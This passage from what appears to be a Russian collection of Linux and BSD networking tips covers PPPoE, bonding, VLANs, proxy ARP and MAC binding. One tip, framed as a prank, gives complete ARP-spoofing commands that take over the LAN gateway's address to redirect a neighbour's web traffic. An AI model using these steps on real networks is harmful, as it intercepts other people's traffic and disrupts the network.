       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 REACHABLE  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
    
    3. Поскольку в данный момент уже уже есть запись для нашего mac-адреса, то мы
    не добавляем, а просто изменяем текущую:
      
       # ip neigh change 192.168.0.50 lladdr 11:22:33:44:55:66 nud permanent dev br0
       
    4. Смотрим результат, снова набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 PERMANENT  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
      
    После этого уже заходим на веб-интерфейс нашего роутера и в разделе "межсетевой
    экран" в пункте "Виртуальные серверы" добавляем проброс 9 (или 7, в зависимости
    от вашей сетевой карты) порта роутера на порт ip вашего компьютера.
    
    Послесловие: 
    
    Совет: настройте через веб-интрефейс роутера DHCP для mac'а вашего компьютера
    статический IP (по умолчанию DIR-300(320)/NRU выдает их в диапазоне от
    192.168.0.2 - 192.168.0.100)
    
    Дополнительные ссылки:
    
  • Немного о линуксовых командах в пределах BusyBox: http://noted.org.ua/1727
  • Чуть подробнее про команду ip: http://linux-ip.net/html/tools-ip-neighbor.html
  • Для проверки работоспособности можно воспользоваться сайтом: http://wakeonlan.me/
  • Особая благодарность русскоязычному форуму D-Link'a, оказавшую неоценимую помощь и моральную поддержку: 1, 2, 3
  •  
    ----* Подстановка HTTP-трафика определенному компьютеру в локальной сети (доп. ссылка 1)   [комментарии]
     
    Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по
    офису, например отобразив персональное поздравление при попытке открыть соседом
    какой-нибудь известного ресурса. Манипуляции проделываются без изменения
    конфигурации шлюза, путем поднятия web-сервера на своей машине и
    перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на
    машине соседа. Техника действует только в пределах локальной сети.
    
    Включаем на своей машине перенаправление IP-пакетов:
    
       echo 1 > /proc/sys/net/ipv4/ip_forward
    
    Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на
    192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине
    должен быть заблаговременно поднят http-сервер с нужной страницей.
    
       iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
    
    Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:
    
       ip addr add 192.168.1.1/24 dev eth0
    
    Анонсируем смену MAC-адреса шлюза:
    
       arping -c 3 -A -I eth0 192.168.1.1 
    
    После завершения розыгрыша убираем IP шлюза с локального интерфейса:
    
       ip addr delete 192.168.1.1/24 dev eth0
       iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
       ifconfig eth0 down
       ifconfig eth0 up
       arp -d 192.168.1.1
    
    Внимание, описанное действие не следует применять в рабочей сети предприятия,
    так как подстановка шлюза на время блокирует работу сети из-за конфликта с
    реальным шлюзом.
    
     
    ----* Настройка PPPoE соединения в Debian/Ubuntu Linux (доп. ссылка 1)   Автор: Сергей Афонькин  [комментарии]
     
    В данной заметке пойдет речь о частном случае настройки PPPoE - когда
    необходимо установить соединение на определенный PPPoE концентратор (в том
    случае когда в сети имеется несколько концентраторов), без использования
    графических утилит.
    
    Для начала установим необходимые пакеты:
    
        sudo aptitude install pppoe ppp
    
    Далее выполним поиск имеющихся PPPoE концентраторов в сети:
    
        sudo pppoe-discovery
    
        Access-Concentrator: ac1
        Got a cookie: 00 b0 f3 f8 77 fb 26 64 c8 5e 48 80 42 2e 5b a3
        AC-Ethernet-Address: 88:43:e1:36:d9:00
    
        Access-Concentrator: ac2
        Got a cookie: c2 9c 3c db 26 06 89 f6 06 7e a0 06 ff 8a f8 17 9a 07 00 00
        AC-Ethernet-Address: d8:d3:85:e3:85:75
        ...
    
    В моем случае видим два концентратора с именами ac1 и ac2. Предположим, что
    необходимо постоянно подключаться к концентратору ac2. Как это сделать? Создаем
    файл /etc/ppp/peers/pppoe, следующего содержания:
    
        ipcp-accept-local
        ipcp-accept-remote
        lcp-echo-interval 30
        lcp-echo-failure 5
        noipdefault
        usepeerdns
        defaultroute
        replacedefaultroute
        noccp
        noaccomp
        noauth
        persist
        mtu 1492
        hide-password
        connect /bin/true
        pty "pppoe -I eth0 -C ac2" # <-- Тут имя вашего концентратора
        user ПОЛЬЗОВАТЕЛЬ # <-- Тут ваш логин
        password ПАРОЛЬ # <-- Тут ваш пароль
    
    
    После создания файла можно пробовать устанавливать соединение, выполнив в командной строке:
    
        sudo pon pppoe
    
    Смотрим наличие интерфейса ppp0 в выводе команды ifconfig. Вывод команды приблизительно такой:
    
        sudo ifconfig
    
        ppp0  Link encap:Point-to-Point Protocol
          inet addr:172.22.51.19 P-t-P:94.70.254.21 Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1472 Metric:1
          RX packets:29890 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26304 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3
          RX bytes:17850149 (17.0 MiB) TX bytes:1835091 (1.7 MiB)
        ...
    
    Если интерфейса ppp0 в выводе команды ifconfig нет, смотрим логи:
    
        sudo plog
    
    или
    
        sudo grep ppp /var/log/syslog
    
    Для автоматического создания PPPoE подключения при загрузке компьютера можно
    прописать следующие строки в /etc/network/interfaces:
    
        auto ppp0
        iface ppp0 inet ppp
          pre-up /sbin/ifconfig eth0 up
          provider pppoe
    
    
    Для отключения соединения PPPoE достаточно выполнить следующую команду:
    
        sudo poff pppoe
    
    Если PPPoE соединение используется для организации сервиса NAT в сети, то
    машины за этим NATом должны иметь MTU равный 1412. Иначе возможна ситуация
    когда, например, некоторые www ресурсы будут недоступны пользователям за NATом.
    Чтобы этого избежать можно "выравнивать" MTU при помощи iptables.
    
    Загрузку правила для iptables сделаем автоматически, при установке PPPoE
    соединения. А при отключении соединения будем удалять это правило из iptables.
    Для этого создадим два файла. Для загрузки правила создадим файл
    /etc/ppp/ip-up.d/pppoemtu следующего содержания:
    
        #! /bin/sh
        PATH=/sbin:/bin:/usr/bin
        set -e
        if [ -n "$PPP_IFACE" ]; then
          iptables -t mangle -o "$PPP_IFACE" --insert FORWARD 1 -p tcp \
            --tcp-flags SYN,RST SYN -m tcpmss --mss 1400:1536 -j TCPMSS --clamp-mss-to-pmtu
        fi
    
    
    Для удаления правила создадим файл /etc/ppp/ip-down.d/pppoemtu следующего содержания:
    
        #! /bin/sh
        PATH=/sbin:/bin:/usr/bin
        set -e
        if [ -n "$PPP_IFACE" ]; then
          iptables -t mangle -L -n -v  --line-numbers | \
            grep "TCPMSS.*$PPP_IFACE.*clamp" | cut -f1 -d " " | sort -r | xargs -n1 -r iptables -t mangle -D FORWARD
        fi
    
    Чтобы правила работали надо сделать файлы исполняемыми:
    
        sudo chmod 755 /etc/ppp/ip-up.d/pppoemtu /etc/ppp/ip-down.d/pppoemtu
    
    Проверить наличие правила в iptables после установки соединения можно выполнив следующую команду:
    
        sudo iptables -L -n -v -t mangle
    
    Если нет необходимости использовать определенный PPPoE концентратор, то надо
    просто в файле /etc/ppp/peers/pppoe заменить строку pty "pppoe -I eth0 -C ac2"
    на pty "pppoe -I eth0".
    
     
    ----* Объединение сетeвых интерфейсов в Ubuntu Linux при помощи "bonding" (доп. ссылка 1)   Автор: Stepanoff  [комментарии]
     
    В статье рассказано, как объединить два физических сетевых интерфейса в один
    для увеличения пропускной способности или для повышения отказоустойчивости
    сети. В Linux это делается при помощи модуля bonding и утилиты ifenslave. В
    большинстве новых версий дистрибутивов модуль ядра bonding уже есть и готов к
    использованию, в некоторых вам придется собрать его вручную. Я настраивал
    данное решение на Ubuntu 8.04 server amd64, поэтому примеры установки ПО взяты оттуда.
    
    
    Установим нужное ПО:
    
        aptitude install ifenslave ethtool
    
    Затем добавим модуль bonding в автозагрузку и пропишем опции для его запуска,
    для этого в конец файла /etc/modules добавим текст из примера ниже, примеров
    будет два: для создания одного интерфейса из двух физических и для создания
    двух интерфейсов из четырех физических.
    
    Подробнее о режимах работы bonding можно почитать здесь.
    
    Пример для одного виртуального интерфейса из двух физических:
    
        alias bond0 bonding
        options bonding mode=0 miimon=100
    
    Пример для создания двух интерфейсов из четырех физических:
    
        alias bond0 bonding
        alias bond1 bonding
        options bonding mode=0 miimon=100 max_bonds=2
    
    Затем загрузим модуль bonding
    
        ## Один виртуальный интерфейс
        modprobe bonding mode=0 miimon=100
        ## Два виртуальных интерфейса
        modprobe bonding mode=0 miimon=100 max_bonds=2
    
    Настроим параметры сетевых интерфейсов bonding`a, для этого отредактируем файл
    настроек интерфейсов /etc/network/interfaces. В примере шаблоны для настройки
    двух виртуальных интерфейсов.
    
        # The bond0 network interface
         auto bond0
         allow-hotplug bond0
         iface bond0 inet static
                address <ip-address>
                netmask <netmask>
                network <network-address>
                broadcast <broadcast-address>
                gateway <gateway-address>
                dns-nameservers <nameserver-one> <nameserver-two>
                dns-search <domain-name>
                up /sbin/ifenslave bond0 eth0
                up /sbin/ifenslave bond0 eth1
    
         # The bond1 network interface
         auto bond1
         allow-hotplug bond1
         iface bond1 inet static
                address <ip-address>
                netmask <netmask>
                network <network-address>
                broadcast <broadcast-address>
                gateway <gateway-address>
                dns-nameservers <nameserver-one> <nameserver-two>
                dns-search <domain-name>
                up /sbin/ifenslave bond1 eth2
                up /sbin/ifenslave bond1 eth3
    
    Более подробно по опциям файла /etc/network/interfaces можно прочитать выполнив
    команду man interfaces
    
    После того как прописаны настройки интерфейсов нужно перезапустить сеть
    командой /etc/init.d/networking restart и проверить, поднялись ли интерфейсы
    bond0, и если настраивали два, то bond1.
    
     
    ----* Превращение Cisco Catalyst 6500 в кабельный тестер (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
     
    Некоторые карты для Cisco Catalyst имеют встроенный "кабельный тестер" - Time
    Domain Reflectometry (TDR). TDR может использоваться для определения обрывов в
    кабеле, неверно обжатых коннекторов, повреждений изоляции и др.
    
    TDR поддерживается следующими медными линейными картами:
       WS-X6748-GE-TX (48 port CEF720 10/100/1000 line card)  
       WS-X6548-GE-TX/45AF (48 port CEF256 10/100/1000 line card)
       WS-X6148A-GE-TX/45AF (48 port Classic 10/100/1000 line card)
       WS-X6148-GE-TX/45AF (48 port Classic 10/100/1000 line card)
       WS-X6148A-RJ-45/45AF (48 port Classic 10/100 line card)
    
    Для тестирования кабеля необходимо выполнить две команды:
    
    1. Первая - команда на тестирование порта:
    
        6K-LV2-CL3# test cable-diagnostics tdr interface g1/3
    
        TDR test started on interface Gi1/3
        A TDR test can take a few seconds to run on an interface
        Use 'show cable-diagnostics tdr' to read the TDR results.
    
    
    2. Вторая - вывод данных тестирования:
    
        6K-LV2-CL3# show cable-diagnostics tdr interface g1/3
    
        TDR test last run on: March 5 10:22:06
        Interface Speed Pair Cable length Distance to fault Channel Pair status
       
        Gi1/3 1000 1-2 1 +/- 6 m N/A Pair B Terminated
        3-4 1 +/- 6 m N/A Pair A Terminated
        5-6 1 +/- 6 m N/A Pair C Terminated
        7-8 1 +/- 2 m N/A Pair D Short
    
    в данном тесте пара 7-8 оказалась оборвана.
    
    Ссылки:
     http://www.cisco.com/en/US/prod/collateral/switches/ps5718/ps708/prod_white_paper0900aecd805457cc.html
    
     
    ----* Конфигурирование bonding для сетевых интерфейсов на RHEL/CentOS 5 (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    Конфигурация необходимых сетевых интерфейсов:
    
        * eth0
    
    # cat > /etc/sysconfig/network-scripts/ifcfg-eth0
    DEVICE=eth0
    BOOTPROTO=none
    ONBOOT=yes
    MASTER=bond0
    SLAVE=yes
    USERCTL=no
    [Ctrl+D]
    
        * eth1:
    
    # cat > /etc/sysconfig/network-scripts/ifcfg-eth1
    DEVICE=eth1
    BOOTPROTO=none
    ONBOOT=yes
    MASTER=bond0
    SLAVE=yes
    USERCTL=no
    [Ctrl+D]
    
        * bond0:
    
    # cat > /etc/sysconfig/network-scripts/ifcfg-bond0
    DEVICE=bond0
    BOOTPROTO=none
    ONBOOT=yes
    NETWORK=10.10.70.0
    IPADDR=10.10.70.77
    NETMASK=255.255.255.0
    USERCTL=NO
    [Ctrl+D]
    
    Загружаем модуль и перегружаем сеть:
    
    # cat >> /etc/modprobe.conf
    alias bond0 bonding
    options bond0 mode=1 miimon=100
    [Ctrl+D]
    # service network restart
    
    Просмотр статуса:
    
    # cat /proc/net/bonding/bond0
    Ethernet Channel Bonding Driver: v3.2.4 (January 28, 2008)
    
    Bonding Mode: fault-tolerance (active-backup)
    Primary Slave: None
    Currently Active Slave: eth1
    MII Status: up
    MII Polling Interval (ms): 100
    Up Delay (ms): 0
    Down Delay (ms): 0
    
    Slave Interface: eth0
    MII Status: up
    Link Failure Count: 2
    Permanent HW addr: 00:1b:11:50:7a:01
    
    Slave Interface: eth1
    MII Status: up
    Link Failure Count: 1
    Permanent HW addr: 00:18:fe:8c:a1:96
    
     
    ----* Конфигурирование VLAN в RHEL/CentOS/Fedora и Debian/Ubuntu (доп. ссылка 1) (доп. ссылка 2)   Автор: Roman Shramko  [комментарии]
     
    Ниже представлены примеры настройки VLAN через стандартные средства дистрибутивов Linux.
    
    RHEL, CentOS, Fedora
    
    Для начала необходимо описать базовый сетевой интерфейс, на котором мы будем поднимать VLAN.
    
    /etc/sysconfig/network-scripts/ifcfg-eth0
    
       DEVICE=eth0                   # здесь нужно указать реальное имя интерфейса
       BOOTPROTO=static
       HWADDR=00:07:E9:A7:13:48      # здесь нужно указать реальный MAC
       ONBOOT=no
       TYPE=Ethernet
       IPADDR=0.0.0.0
       NETMASK=255.255.255.0
    
    
    Дла наших целей важны только два параметра: DEVICE и HWADDR. 
    Остальное роли не играет. Можно даже заполнить "от балды".
    
    Далее, создаем подинтерфейсы для VLAN. Именование подинтерфейсов может быть
    двух видов: "vlanX" и "eth0.X".
    
    В первом случае, мы имеем описательное имя, которое не привязано к имени родительского интерфейса. 
    Соответственно, перемещение VLAN на другой физический интерфейс не требует значительных изменений 
    в конфигурацию системы (не нужно править правила пакетного фильтра и тд и тп).
    
    С другой стороны, при использовании имен вида "eth0.X" мы имеем более
    удобное (по моему мнению) имя интерфейса,
    по которому видно на каком родительском интерфейсе поднят VLAN, чем немного
    упрощается администрирование системы.
    Плюс, поскольку имя подинтерфейса базируется на имени физического, то мы имеем
    различные пространства имен для VLAN-ов.
    Я имею ввиду ситуацию, когда на разных интерфейсах приходят VLAN-ы с одинаковыми номерами. 
    Использование "vlanX" в данном случае будет несколько затруднительно.
    Минусом будет то, что некоторые утилиты некорректно работают с именами
    интерфейсов с точкой в имени (например sysctl).
    
    Конфигурирование интерфейсов типа "vlanX"
    
    /etc/sysconfig/network-scripts/ifcfg-vlan10
    
       VLAN=yes
       VLAN_NAME_TYPE=VLAN_PLUS_VID_NO_PAD
       DEVICE=vlan10
       PHYSDEV=eth0
       BOOTPROTO=static
       ONBOOT=yes
       TYPE=Ethernet
       IPADDR=10.10.10.2
       NETMASK=255.255.255.252
    
    
    Здесь:
    
    PHYSDEV - физический интерфейс, на котором работает VLAN.
    VLAN_NAME_TYPE - указываем тип наименование устройства. В данном случае номер VLAN будет 
    браться с имени устройства. Возможные варианты:
    
       VLAN_PLUS_VID -vlan0010
       VLAN_PLUS_VID_NO_PAD - vlan10
       DEV_PLUS_VID - eth0.0010
       DEV_PLUS_VID_NO_PAD - eth0.10
    
    Конфигурирование интерфейсов типа "eth0.X"
    
    /etc/sysconfig/network-scripts/ifcfg-eth0.10
    
       VLAN=yes
       DEVICE=eth0.10
       BOOTPROTO=static
       ONBOOT=yes
       TYPE=Ethernet
       IPADDR=10.10.10.2
       NETMASK=255.255.255.252
    
    Все то же самое, но без PHYSDEV и VLAN_NAME_TYPE.
    
    Хочеться добавить, что смешать в одной системе "vlanX" и "eth0.X" штатными
    средствами вряд ли получится,
    т.к. тип именования (VLAN_NAME_TYPE) при инициализации интерфейсов задается по
    первому поднимаемому интерфейсу.
    
    
    Примеры для Debian, Ubuntu.
    
    Устанавливаем поддержку vlan:
    
       sudo apt-get install vlan
    
    В /etc/network/interfaces добавляем:
    
       # Какие интерфейсы поднимать автоматически
       auto vlan4
       auto vlan5
       auto vlan101
    
       # VLAN 4
       iface vlan4 inet static
          address 192.168.0.8
          netmask 255.255.255.192
          network 192.168.0.0
          broadcast 192.168.0.63
          mtu 1500
          vlan_raw_device eth0
       
       # VLAN 5
       iface vlan5 inet static
          address 10.0.111.8
          netmask 255.255.255.0
          network 10.0.111.0
          broadcast 10.0.111.255
          mtu 1500
          vlan_raw_device eth0
       
       # VLAN 101
       iface vlan101 inet static
          address 172.12.101.8
          netmask 255.255.255.0
          network 172.12.101.0
          broadcast 172.12.101.255
          gateway 172.12.101.1
          mtu 1500
          vlan_raw_device eth0
       
    
     
    ----* Восстановление потерянного Ethernet линка в Linux   [комментарии]
     
    В офисе внезапно отключили электроэнергию. На одном из работающих в тот момент ноутбуков, 
    после восстановления электричества, отказался подниматься сетевой линк.
    На свиче отображалось отсутствие физического линка. 
    Замена патч-корда, переключение в другой порт, жесткая перезагрузка - не помогли.
    
       # mii-tool eth0
    
       eth0: no link
    
    Пробуем инициировать autonegotiation:
    
       # mii-tool -r eth0
    
    бесполезно. Решаемся испробовать опцию -R для переинициализации трансивера.
    
       # mii-tool -R eth0
    
    и, о чудо !, линк поднялся.
    
     
    ----* MAC DNS лист   Автор: Vladimir Shingarev  [комментарии]
     
    Иногда нужно узнать какому производителю принадлежит оконечное оборудование, 
    наблюдая только его мак на интерфейсе. А открывать браузер для этого лениво.
    
    В таком случае удобно создать MAC-based dns лист. Пользоваться просто:
    
       ket:/home/sva# host -t txt 001243.macl.nov.ru
       001243.macl.nov.ru descriptive text "Cisco"
       ket:/home/sva# host -t txt 0050ba.macl.nov.ru
       0050ba.macl.nov.ru descriptive text "D-LINK"
    
     
    ----* Объединение сетевых интерфейсов при помощи протокола LACP во FreeBSD 7 (доп. ссылка 1)   Автор: s@sh@  [комментарии]
     
    Собираем ядро с поддержкой LACP (Link aggregation control protocol):
       device lagg
    
    Объединяем интерфейсы em0 и em1:
       ifconfig em0 up
       ifconfig em1 up
       ifconfig lagg0 create
       ifconfig lagg0 up laggproto lacp laggport em0 laggport em1
       ifconfig lagg0 10.10.10.18 netmask 255.255.255.0
       route add -net 0.0.0.0 10.10.10.1 0.0.0.0
    
    На Cisco и к каждому нужному интерфейсу прописываем:
       interface GigabitEthernet2/2
          .... 
          channel-protocol lacp
          channel-group 23 mode active
       
       interface GigabitEthernet2/16
          ....
          channel-protocol lacp
          channel-group 23 mode active
    
     
    ----* Настройка Linux как Wifi шлюза для КПК (доп. ссылка 1)   Автор: Михаил Конник  [комментарии]
     
    Linux шлюз:
    
    Нужно создать простую одноранговую ad-hoc сеть и дать статический IP-адрес
    сетевому беспроводному интерфейсу.
    После этого делаем NAT и всё работает. Для беспроводного интерфейса eth3 и 
    сети с идентификатором virens команда выглядит так (от рута):
    
       # iwconfig eth3 mode Ad-Hoc channel 1 essid virens
    
    В /etc/network/interfaces пишем что-то вроде:
    
       auto eth3
       iface eth3 inet static
       address 10.106.146.1
       netmask 255.255.255.0
       wireless-mode ad-hoc
       wireless-channel 1
       wireless-rate auto
       wireless-essid virens
    
    Теперь делаем NAT:
    
       # echo 1 > /proc/sys/net/ipv4/ip_forward
       # iptables -t nat -A POSTROUTING --out-interface eth1 -j MASQUERADE
    
    При этом eth1 это интерфейс, который подключён к Интернету. 
    Соединение не шифруется.
    
    
    КПК:
    
    Необходимо задать essid - такой же, какой дали в iwconfig. 
    Шифрование отсутствует, тип сети - одноранговая ad-hoc. 
    Снимаем галку "Получать IP-адрес автоматически" и вводим адреса:
    
       IP-адрес: 10.106.146.2
       Маска подсети: 255.255.255.0
       Маршрутизатор: 10.106.146.1
    
     
    ----* Как "протянуть" 802.1q tagged порт через ip-сеть.   Автор: Roman Timofeev aka ^rage^  [комментарии]
     
    Дано: 
    
    Есть hostA, который воткнут в каталист, в trunk (т.е. тегированный) порт, инкапсуляция 802.1q. 
    
    Есть hostB, который маршрут до hostA. маршрут живой, ip-пакеты между хостами безпроблемно бегают. 
    
    Задача: надо с hostA "притащить" виланы на hostB. 
    
    Решение: vtund + bridge.
    
    описание клиента в vtund.conf
    
       homepeer { 
          passwd qwerty; 
          type ether; 
          device home; 
          proto tcp; 
          compress yes; 
          stat yes;
          persist yes; 
    
          up { 
             ifconfig "%% up"; 
             program "brctl addbr br0"; 
             program "brctl addif br0 %%"; 
             program "brctl addif br0 eth0"; 
             ifconfig "br0 up"; 
          }; 
    
          down { 
             ifconfig "%% down"; 
             ifconfig "br0 down"; 
             program "brctl delbr br0"; 
          }; 
       }
    
    описание пира из конфига сервера
    
       homepeer { 
          passwd qwerty; # Password 
          type ether; # Ethernet tunnel 
          device work; # Device tap1 
          proto tcp; 
          compress yes; 
    
          up { 
             ifconfig "%% up"; 
          }; 
          down { 
             ifconfig "%% down"; 
          }; 
       } 
    
    Теперь на той Linux машине, куда кидаем порт:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add work 4
       ifconfig vlan4 10.1.1.1 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.1 netmask 255.255.255.0 up
    
    Замечание:
    Клиент - хост, с которого мы тащим порт. Он живёт в серой сети и имеет выход в internet через NAT.
    Сервер - машина с публичным ip.
    
     
    ----* Сброс счетчиков ifconfig в Linux   Автор: OlegOS (Очередин Олег)  [комментарии]
     
    Если нужно сбросить счетчики пакетов/байт, отображаемые ifconfig, то есть из /proc/net/dev, 
    нужно собрать драйвер сетевой карты в виде модуля (не в ядро). 
    Для сброса опускаем интерфейс, выгружаем драйвер, загружаем снова и поднимаем интерфейс. 
    Должно работать на всех картах.
    
    Пример.
    
       ifdown eth0
       modprobe -r eepro100
       modprobe eepro100
       ifup eth0
    
    Для того чтобы узнать имя драйвера обеспечивающего работу сетевого интерфейса:
    
       ethtool -i eth1
    
     
    ----* Привязка имени сетевого интерфейса к MAC адресу в Linux (доп. ссылка 1)   [комментарии]
     
    При наличии нескольких одинаковых сетевых карт, чтобы гарантировать, что eth0, eth1,.. всегда будут 
    закреплены за одними и теми же картами, можно огранизовать привязку имени к MAC адресу:
    
    В /etc/mactab добавляем:
    
       eth0 00:23:B7:89:39:E2
       eth1 00:08:A3:20:F8:29
       eth2 00:50:BA:29:B7:32
    
    Для Debian GNU/Linux создаем скрипт /etc/network/if-pre-up.d/nameif
    
       #!/bin/sh
       PATH=/sbin
       nameif -c /etc/mactab
    
    Для других Linux дистрибутивов нужно на начальном этапе инициализаци выполнить:
    
       /sbin/nameif eth0 00:23:B7:89:39:E2
       /sbin/nameif eth1 00:08:A3:20:F8:29
       /sbin/nameif eth2 00:50:BA:29:B7:32
    
     
    ----* Как настроить сетевой мост во FreeBSD   [комментарии]
     
    Предположим, имеется несколько сетевых интерфейсов fxp0,fxp1,fxp2,fxp3
     вы хотите чтобы ваша машина выспупала в качестве сетевого моста:
    
    
    Первый способ на основе if_bridge(работает в 5-STABLE и 6-ке)
       # kldload if_bridge
       # ifconfig bridge0 create
       # ifconfig bridge0 addm fxp0 addm fxp1 addm fxp2 addm fxp3 up
       # ifconfig fxp0 up
       # ifconfig fxp1 up
       # ifconfig fxp2 up
       # ifconfig fxp3 up
    
    Посмотреть # ifconfig bridge0
    Подробнее в man if_bridge и man ifconfig
    
    Второй способ на основе bridge:
    
       # kldload bridge
       # sysctl net.link.ether.bridge.config=fxp0,fxp1,fxp2,fxp3
       # sysctl net.link.ether.bridge.enable =1
    
     
    ----* Управление дуплексным режимом и скоростью линка в различных ОС. (доп. ссылка 1)   [комментарии]
     
    Solaris
    
       Проверка:
          ndd /dev/hme link_mode
          0 = half duplex, 1 = full duplex
       Установка full duplex:
          ndd -sec /dev/hme adv_100fdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
       Установка half duplex:
          ndd -sec /dev/hme adv_100hdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
    
    Linux
       Текущее состояние
          mii-tool eth0
          ethtool eth0
       Установка full duplex:
          mii-tool -F 100baseTx-FD eth0
          ethtool -s eth0 speed 1000 duplex full autoneg off
       некоторые драйверы можно настроить через /etc/modules.conf
          options eepro100 options=48
          options 3c59x  options=0x204 full_duplex=0x200
    
    FreeBSD
    
       Установка full duplex:
          ifconfig xl0 media 100baseTX mediaopt full-duplex
       Установка half duplex:
          ifconfig xl0 media 100baseTX mediaopt half-duplex
    
    IBM AIX
    
       Список адаптеров и проверка режима:
          lsdev -HCc adapter
          lsattr -d ent# 
       Установка full duplex:
         chdev  -l ent# -a media_speed=100_Full_Duplex -P
       Установка half duplex:
         chdev  -l ent# -a media_speed=100_Half_Duplex -P
    
    HP-UX
       Список адаптеров и проверка режима:
          lanscan -n  (HP-UX 10.x)
          lanscan -p  (HP-UX 11.x)
          lanadmin -x NMid# (HP-UX 10.x)
          lanadmin -x PPA#  (HP-UX 11.x)
      Установка full duplex:
          lanadmin -X 100FD NMid# (HP-UX 10.x)
          lanadmin -X 100FD PPA#  (HP-UX 11.x)
     Установка half duplex:
          lanadmin -X 100HD NMid# (HP-UX 10.x)
          lanadmin -X 100HD PPA#  (HP-UX 11.x)
    
     
    ----* Проброс трафика через Linux машину используя Proxy ARP (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Пусть:
    x.x.x.96/28 - выделенная подсеть, которую нужно распределить по машинам в локальной сети.
    x.x.x.97 - IP внешнего шлюза.
    Требуется поставить между шлюзом и сетью фаервол, 
    с одним адресом на двух интерфейсах x.x.x.98, транслируя ARP трафик используя "Proxy ARP".
    
    (x.x.x.99 ... x.x.x.110) --- (eth1, x.x.x.98 | eth0, x.x.x.98) --- (x.x.x.97)
    
    Удаляем маршруты созданные по умолчанию.
       ip route del x.x.x.96/28 dev eth0
       ip route del x.x.x.96/28 dev eth1
    
    Пакеты для x.x.x.97 пускаем через eth0, а для x.x.x.96/28 через eth1
       ip route add x.x.x.97 dev eth0
       ip route add x.x.x.96/28 dev eth1
    
    Включаем Proxy ARP
       echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp
       echo 1 > /proc/sys/net/ipv4/conf/eth1/proxy_arp
    
     
    ----* Объединение сетевых интерфейсов под Linux (доп. ссылка 1)   [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c.
    
    Документация: Documentation/networking/bonding.txt в дереве исходных текстов
    ядра и "modinfo bonding".
    Кратко:
       Подгружаем модуль ядра "bonding", в /etc/modules.conf указываем
         alias bond0 bonding
       При желании устанавливаем опции для доп. настройки модуля, например:
         options bond0 mode=2, где mode=
            0 - balance-rr (Round-robin выбор интерфейса)
            1 - active-backup (работает только один интерфейс, остальные в режиме горячей замены)
            2 - balance-xor - для всех пересылок на MAC закрепляется один из интерфейсов
            3 - broadcast - трафик идет через оба интерфейса одновременно
            4 - 802.3ad - для коммутаторов с поддержкой IEEE 802.3ad Dynamic link aggregation
            5 - balance-tlb, 6 - balance-alb
       /sbin/ifconfig bond0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up
       /sbin/ifenslave bond0 eth0
       /sbin/ifenslave bond0 eth1
    
    Или для дистрибутивов в которых используется пакет initscripts (http://rhlinux.redhat.com/initscripts/):
    
       /etc/sysconfig/network-scripts/ifcfg-bond0
         DEVICE=bond0
         BOOTPROTO=static
         BROADCAST=192.168.63.255
         IPADDR=192.168.1.1
         NETMASK=255.255.255.0
         NETWORK=192.168.0.0
         ONBOOT=yes
    
       /etc/sysconfig/network-scripts/ifcfg-eth0
         DEVICE=eth0
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
       /etc/sysconfig/network-scripts/ifcfg-eth1
         DEVICE=eth1
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
     
    ----* Объединение сетевых интерфейсов под FreeBSD 5.x (доп. ссылка 1)   Автор: Мишка  [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c .
    
      kldload /boot/kernel/ng_ether.ko
      kldload /boot/kernel/ng_one2many.ko
      ifconfig rl0 up
      ifconfig rl1 up
      ngctl mkpeer rl0: one2many upper one
      ngctl connect rl0: rl0:upper lower many0
      ngctl connect rl1: rl0:upper lower many1
      ngctl msg rl1: setpromisc 1
      ngctl msg rl1: setautosrc 0
      ngctl msg rl0:upper \
            setconfig "{ xmitAlg=1 failAlg=1 enabledLinks=[ 1 1 ] }"
      ifconfig rl0 inet 192.168.0.78 
    
     
    ----* Привязка IP к MAC адресу (доп. ссылка 1)   Автор: Krigs  [комментарии]
     
    Я сделал так (идею тоже нашел на этом сайте):
    
    1. Создал файл б/д привязки IP к MAC (например /etc/ethers.local)
                 Пример строк из файла:
                     192.168.0.11 00:0c:6e:3f:cd:e5 #kasa2
                     192.168.0.12 00:0d:88:82:da:a2 #mobil
                             и т. д.
    2. Написал скрипт такого содержания: (например /etc/static.arp):
    
             #!/bin/sh
             # обнуляем всю таблицу arp
             arp -ad > null
             # к каждому компу в локальной сети привязываем несуществующий (нулевой)                
             # MAC адрес
             I=1
             while [ $I -le 254 ]
             do
                   arp -s 192.168.0.${I} 0:0:0:0:0:0
                   I=`expr $I + 1`
             done
             #  к реально существующему компу в сети из базы данных в файле
